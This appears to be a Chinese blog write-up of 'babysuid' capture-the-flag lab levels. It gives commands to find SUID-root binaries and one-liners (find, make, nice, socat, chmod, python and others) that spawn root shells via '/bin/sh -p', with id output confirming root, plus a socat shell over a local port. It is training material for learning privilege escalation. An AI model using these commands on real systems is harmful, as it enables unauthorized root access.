以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,请逐个尝试

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} ;

env

# id
uid=1000(hacker) gid=1000(hacker) euid=0(root) groups=1000(hacker)

find

hacker@babysuid_level25:~$ find . -exec /bin/sh -p \; -quit
# id
uid=1000(hacker) gid=1000(hacker) euid=0(root) groups=1000(hacker)

make

hacker@babysuid_level26:~$ make -s --eval=$'x:\n\t-'"/bin/sh -p"
# id
uid=1000(hacker) gid=1000(hacker) euid=0(root) groups=1000(hacker)

nice

hacker@babysuid_level27:~$ nice /bin/sh -p
# id
uid=1000(hacker) gid=1000(hacker) euid=0(root) groups=1000(hacker)

timeout

hacker@babysuid_level28:~$ timeout 1 /bin/sh -p
# id
uid=1000(hacker) gid=1000(hacker) euid=0(root) groups=1000(hacker)

stdbuf

hacker@babysuid_level29:~$ stdbuf -i0 /bin/sh -p
# id
uid=1000(hacker) gid=1000(hacker) euid=0(root) groups=1000(hacker)

setarch

hacker@babysuid_level30:~$ setarch $(arch) /bin/sh -p
# id
uid=1000(hacker) gid=1000(hacker) euid=0(root) groups=1000(hacker)

socat

在一个终端上监听

hacker@babysuid_level32:~$ socat file:'/dev/tty',raw,echo=0 tcp-listen:8888
# id
uid=1000(hacker) gid=1000(hacker) euid=0(root) groups=1000(hacker)

在另一个终端上弹shell

socat tcp-connect:127.0.0.1:8888 exec:'/bin/sh -p',pty,stderr

chmod

hacker@babysuid_level38:~$ chmod u+s /bin/sh
hacker@babysuid_level38:~$ /bin/sh -p
# id
uid=1000(hacker) gid=1000(hacker) euid=0(root) groups=1000(hacker)

python

hacker@babysuid_level42:~$ python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# id
uid=1000(hacker) gid=1000(hacker) euid=0(root) groups=1000(hacker)

Q.E.D.


来都来了,点个广告再走吧(=・ω・=)